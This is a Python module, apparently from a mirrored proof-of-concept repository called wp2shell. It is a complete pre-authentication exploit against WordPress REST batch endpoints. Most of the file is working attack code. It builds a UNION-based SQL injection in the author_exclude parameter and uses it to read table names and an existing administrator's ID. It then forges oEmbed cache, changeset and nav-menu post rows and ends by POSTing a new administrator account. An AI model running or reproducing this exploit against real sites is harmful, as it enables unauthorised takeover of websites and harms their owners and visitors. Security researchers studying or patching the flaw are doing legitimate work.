mirror of
https://github.com/Icex0/wp2shell-poc
synced 2026-07-18 19:05:08 +00:00
Icex0
371 lines
13 KiB
Python
371 lines
13 KiB
Python
"""SQLi-to-admin bridge for vulnerable WordPress batch endpoints."""
|
|
|
|
from __future__ import annotations
|
|
|
|
import hashlib
|
|
import json
|
|
import re
|
|
import secrets
|
|
import urllib.error
|
|
import urllib.parse
|
|
import urllib.request
|
|
import uuid
|
|
from dataclasses import dataclass
|
|
from typing import Dict, Iterable, List, Optional
|
|
|
|
from .client import BatchClient, TargetError
|
|
from .sqli import UnionSQLi
|
|
|
|
_POST_DATE = "2020-01-01 00:00:00"
|
|
_OEMBED_SIZE = 'a:2:{s:5:"width";s:3:"500";s:6:"height";s:3:"750";}'
|
|
_ADMIN_PREFIX = "wp2_"
|
|
_PASSWORD_PREFIX = "Wp2!"
|
|
_EMAIL_DOMAIN = "wp2shell.invalid"
|
|
_NAV_URL = "https://example.invalid/"
|
|
|
|
|
|
@dataclass
|
|
class CreatedAdmin:
|
|
username: str
|
|
password: str
|
|
email: str
|
|
source_admin_id: int
|
|
table_prefix: str
|
|
|
|
|
|
def mysql_hex(text: str) -> str:
|
|
return f"0x{text.encode().hex()}" if text else "''"
|
|
|
|
|
|
def wp_posts_tuple(
|
|
row_id: int,
|
|
*,
|
|
body: str = "",
|
|
title: str = "",
|
|
status: str = "publish",
|
|
slug: str = "",
|
|
parent: int = 0,
|
|
kind: str = "post",
|
|
author: int = 1,
|
|
) -> str:
|
|
"""Build the full ``wp_posts`` SELECT-list used by the UNION primitive."""
|
|
columns = [
|
|
str(row_id),
|
|
str(author),
|
|
mysql_hex(_POST_DATE),
|
|
mysql_hex(_POST_DATE),
|
|
mysql_hex(body),
|
|
mysql_hex(title),
|
|
"''",
|
|
mysql_hex(status),
|
|
mysql_hex("closed"),
|
|
mysql_hex("closed"),
|
|
"''",
|
|
mysql_hex(slug),
|
|
"''",
|
|
"''",
|
|
mysql_hex(_POST_DATE),
|
|
mysql_hex(_POST_DATE),
|
|
"''",
|
|
str(parent),
|
|
"''",
|
|
"0",
|
|
mysql_hex(kind),
|
|
"''",
|
|
"0",
|
|
]
|
|
return ",".join(columns)
|
|
|
|
|
|
class PreAuthAdminCreator:
|
|
"""Turn the confirmed UNION fake-post primitive into a generated administrator."""
|
|
|
|
def __init__(
|
|
self,
|
|
base_url: str,
|
|
*,
|
|
timeout: float = 30.0,
|
|
rest_route: bool = False,
|
|
proxy: Optional[str] = None,
|
|
user_agent: str = "wp2shell",
|
|
) -> None:
|
|
self.base_url = base_url.rstrip("/")
|
|
self.timeout = timeout
|
|
self.rest_route = rest_route
|
|
self.client = BatchClient(
|
|
base_url,
|
|
timeout=timeout,
|
|
rest_route=rest_route,
|
|
proxy=proxy,
|
|
user_agent=user_agent,
|
|
)
|
|
handlers = [urllib.request.ProxyHandler({"http": proxy, "https": proxy})] if proxy else []
|
|
self.http = urllib.request.build_opener(*handlers)
|
|
self.http.addheaders = [("User-Agent", user_agent)]
|
|
|
|
def create_admin(self) -> CreatedAdmin:
|
|
sqli = UnionSQLi(self.client)
|
|
if not sqli.available():
|
|
raise RuntimeError("UNION fake-post primitive is not available on this target")
|
|
|
|
nonce = secrets.token_hex(6)
|
|
loopback_embeds = self._loopback_embed_urls(nonce)
|
|
self._prime_oembed_posts(loopback_embeds)
|
|
|
|
posts_table = self._posts_table(sqli)
|
|
table_prefix = posts_table[:-5]
|
|
source_admin_id = self._first_admin_id(sqli, table_prefix)
|
|
backing_ids = self._oembed_backing_ids(sqli, posts_table, loopback_embeds)
|
|
|
|
username = f"{_ADMIN_PREFIX}{nonce}"
|
|
password = f"{_PASSWORD_PREFIX}{secrets.token_urlsafe(15)}"
|
|
email = f"{username}@{_EMAIL_DOMAIN}"
|
|
self._submit_user_write(
|
|
backing_ids,
|
|
loopback_embeds,
|
|
source_admin_id,
|
|
{"username": username, "password": password, "email": email, "roles": ["administrator"]},
|
|
)
|
|
return CreatedAdmin(username, password, email, source_admin_id, table_prefix)
|
|
|
|
def _posts_table(self, sqli: UnionSQLi) -> str:
|
|
table_name = sqli.extract(
|
|
"SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES "
|
|
"WHERE TABLE_SCHEMA=DATABASE() AND RIGHT(TABLE_NAME,6)=0x5f706f737473 "
|
|
"ORDER BY CHAR_LENGTH(TABLE_NAME),TABLE_NAME LIMIT 1"
|
|
)
|
|
if not re.fullmatch(r"[A-Za-z0-9_$]+", table_name):
|
|
raise RuntimeError("could not recover wp_posts table name")
|
|
return table_name
|
|
|
|
def _first_admin_id(self, sqli: UnionSQLi, table_prefix: str) -> int:
|
|
capabilities_key = mysql_hex(table_prefix + "capabilities")
|
|
serialized_admin_cap = mysql_hex('s:13:"administrator";b:1;')
|
|
admin_id = sqli.integer(
|
|
f"SELECT u.ID FROM `{table_prefix}users` u "
|
|
f"JOIN `{table_prefix}usermeta` m ON m.user_id=u.ID "
|
|
f"WHERE m.meta_key={capabilities_key} AND INSTR(m.meta_value,{serialized_admin_cap})>0 "
|
|
"ORDER BY u.ID LIMIT 1"
|
|
)
|
|
if admin_id < 1:
|
|
raise RuntimeError("could not find an existing administrator ID")
|
|
return admin_id
|
|
|
|
def _loopback_embed_urls(self, nonce: str) -> List[str]:
|
|
base_link = self._first_embeddable_link()
|
|
split = urllib.parse.urlsplit(base_link)
|
|
return [
|
|
urllib.parse.urlunsplit((split.scheme, split.netloc, split.path, split.query, f"{nonce}{i}"))
|
|
for i in range(3)
|
|
]
|
|
|
|
def _first_embeddable_link(self) -> str:
|
|
"""Return a published, public permalink to seed the oEmbed cache from.
|
|
|
|
Any singular public post or page works: rendering ``[embed]<link>`` makes WordPress create
|
|
the backing ``oembed_cache`` posts. A default install always qualifies -- ``wp_install_defaults()``
|
|
publishes both the "Hello world!" post and the "Sample Page" -- so this normally hits the
|
|
first route; the page fallback covers the rare posts-less site.
|
|
"""
|
|
for route in ("/wp/v2/posts", "/wp/v2/pages"):
|
|
try:
|
|
with self._open_rest(route, {"per_page": "1", "_fields": "link"}) as response:
|
|
items = json.loads(response.read())
|
|
except urllib.error.HTTPError:
|
|
continue # route disabled/restricted -> try the next one
|
|
if items and items[0].get("link"):
|
|
return items[0]["link"]
|
|
raise RuntimeError(
|
|
"no public post or page found to seed the oEmbed cache "
|
|
"(need at least one published post or page)"
|
|
)
|
|
|
|
def _prime_oembed_posts(self, embed_urls: Iterable[str]) -> None:
|
|
content = "".join(f'[embed width="500" height="750"]{url}[/embed]' for url in embed_urls)
|
|
self._render_union_posts([wp_posts_tuple(0, body=content, title="seed", slug="seed")])
|
|
|
|
def _oembed_backing_ids(self, sqli: UnionSQLi, posts_table: str, embed_urls: Iterable[str]) -> List[int]:
|
|
ids = []
|
|
for embed_url in embed_urls:
|
|
cache_name = hashlib.md5((embed_url + _OEMBED_SIZE).encode()).hexdigest()
|
|
ids.append(
|
|
sqli.integer(
|
|
f"SELECT ID FROM `{posts_table}` "
|
|
"WHERE post_type=0x6f656d6265645f6361636865 "
|
|
f"AND post_name=0x{cache_name.encode().hex()} "
|
|
"ORDER BY ID DESC LIMIT 1"
|
|
)
|
|
)
|
|
if any(row_id < 1 for row_id in ids) or len(set(ids)) != 3:
|
|
raise RuntimeError("could not recover three unique oEmbed cache post IDs")
|
|
return ids
|
|
|
|
def _submit_user_write(
|
|
self,
|
|
backing_ids: List[int],
|
|
embed_urls: List[str],
|
|
source_admin_id: int,
|
|
user_body: Dict[str, object],
|
|
) -> None:
|
|
graph = _PoisonGraph(backing_ids, source_admin_id)
|
|
rows = graph.rows(self._changeset_payload(graph.nav_item_id, source_admin_id), embed_urls[1])
|
|
self._render_union_posts(
|
|
rows,
|
|
tail_requests=[
|
|
{"method": "POST", "path": "/wp/v2/users", "body": user_body},
|
|
{"method": "POST", "path": "/wp/v2/users", "body": user_body},
|
|
],
|
|
)
|
|
|
|
def _changeset_payload(self, nav_item_id: int, user_id: int) -> str:
|
|
return json.dumps(
|
|
{
|
|
f"nav_menu_item[{nav_item_id}]": {
|
|
"type": "nav_menu_item",
|
|
"user_id": user_id,
|
|
"value": {
|
|
"object_id": 0,
|
|
"object": "",
|
|
"menu_item_parent": 0,
|
|
"position": 0,
|
|
"type": "custom",
|
|
"title": "generated",
|
|
"url": _NAV_URL,
|
|
"target": "",
|
|
"attr_title": "",
|
|
"description": "",
|
|
"classes": "",
|
|
"xfn": "",
|
|
"status": "publish",
|
|
"nav_menu_term_id": 0,
|
|
"_invalid": False,
|
|
},
|
|
}
|
|
},
|
|
separators=(",", ":"),
|
|
)
|
|
|
|
def _render_union_posts(self, post_rows: List[str], tail_requests: Optional[List[dict]] = None) -> None:
|
|
union_payload = "1) AND 1=0 UNION ALL SELECT " + " UNION ALL SELECT ".join(post_rows) + " -- -"
|
|
requests = [
|
|
{"method": "GET", "path": "http://:"},
|
|
{
|
|
"method": "GET",
|
|
"path": "/wp/v2/widgets?"
|
|
+ urllib.parse.urlencode(
|
|
{
|
|
"author_exclude": union_payload,
|
|
"per_page": -1,
|
|
"orderby": "none",
|
|
"context": "view",
|
|
}
|
|
),
|
|
},
|
|
{"method": "GET", "path": "/wp/v2/posts"},
|
|
]
|
|
if tail_requests:
|
|
requests.extend(tail_requests)
|
|
self._nested_batch(requests, timeout=60)
|
|
|
|
def _nested_batch(self, requests: List[dict], *, timeout: float) -> None:
|
|
original_timeout = self.client.timeout
|
|
self.client.timeout = timeout
|
|
try:
|
|
response = self.client.post(
|
|
{
|
|
"requests": [
|
|
{"method": "POST", "path": "http://:"},
|
|
{"method": "POST", "path": "/wp/v2/posts", "body": {"requests": requests}},
|
|
{"method": "POST", "path": "/batch/v1"},
|
|
]
|
|
}
|
|
)
|
|
finally:
|
|
self.client.timeout = original_timeout
|
|
if response.status >= 400:
|
|
raise TargetError(f"batch request returned HTTP {response.status}")
|
|
|
|
def _open_rest(self, route: str, query: Dict[str, str]):
|
|
if self.rest_route:
|
|
params = {"rest_route": route, **query}
|
|
url = f"{self.base_url}/?" + urllib.parse.urlencode(params)
|
|
else:
|
|
url = f"{self.base_url}/wp-json{route}?" + urllib.parse.urlencode(query)
|
|
try:
|
|
return self.http.open(url, timeout=self.timeout)
|
|
except urllib.error.HTTPError:
|
|
raise
|
|
except OSError as exc:
|
|
reason = getattr(exc, "reason", exc)
|
|
raise TargetError(f"cannot reach {url}: {reason}") from None
|
|
|
|
|
|
@dataclass
|
|
class _PoisonGraph:
|
|
cache_post_ids: List[int]
|
|
source_admin_id: int
|
|
|
|
def __post_init__(self) -> None:
|
|
self.outer_id = 1800000000 + secrets.randbelow(100000000)
|
|
self.nav_item_id = self.outer_id + 1
|
|
self.inner_id = self.outer_id + 2
|
|
self.changeset_id, self.cache_id, self.request_id = self.cache_post_ids
|
|
|
|
def rows(self, changeset: str, trigger_embed_url: str) -> List[str]:
|
|
return [
|
|
wp_posts_tuple(
|
|
0,
|
|
body=f'[embed width="500" height="750"]{trigger_embed_url}[/embed]',
|
|
title="trigger",
|
|
slug="trigger",
|
|
),
|
|
wp_posts_tuple(
|
|
self.changeset_id,
|
|
body=changeset,
|
|
title="changeset",
|
|
status="future",
|
|
slug=str(uuid.uuid4()),
|
|
parent=self.outer_id,
|
|
kind="customize_changeset",
|
|
),
|
|
wp_posts_tuple(
|
|
self.outer_id,
|
|
body="outer",
|
|
title="outer",
|
|
status="draft",
|
|
slug="outer",
|
|
parent=self.changeset_id,
|
|
),
|
|
wp_posts_tuple(
|
|
self.cache_id,
|
|
title="cache",
|
|
slug="cache",
|
|
parent=self.changeset_id,
|
|
),
|
|
wp_posts_tuple(
|
|
self.nav_item_id,
|
|
body="nav",
|
|
title="nav",
|
|
slug="nav",
|
|
parent=self.request_id,
|
|
kind="nav_menu_item",
|
|
),
|
|
wp_posts_tuple(
|
|
self.request_id,
|
|
body="parse",
|
|
title="parse",
|
|
status="parse",
|
|
slug="parse",
|
|
parent=self.inner_id,
|
|
kind="request",
|
|
),
|
|
wp_posts_tuple(
|
|
self.inner_id,
|
|
body="inner",
|
|
title="inner",
|
|
status="draft",
|
|
slug="inner",
|
|
parent=self.request_id,
|
|
),
|
|
]
|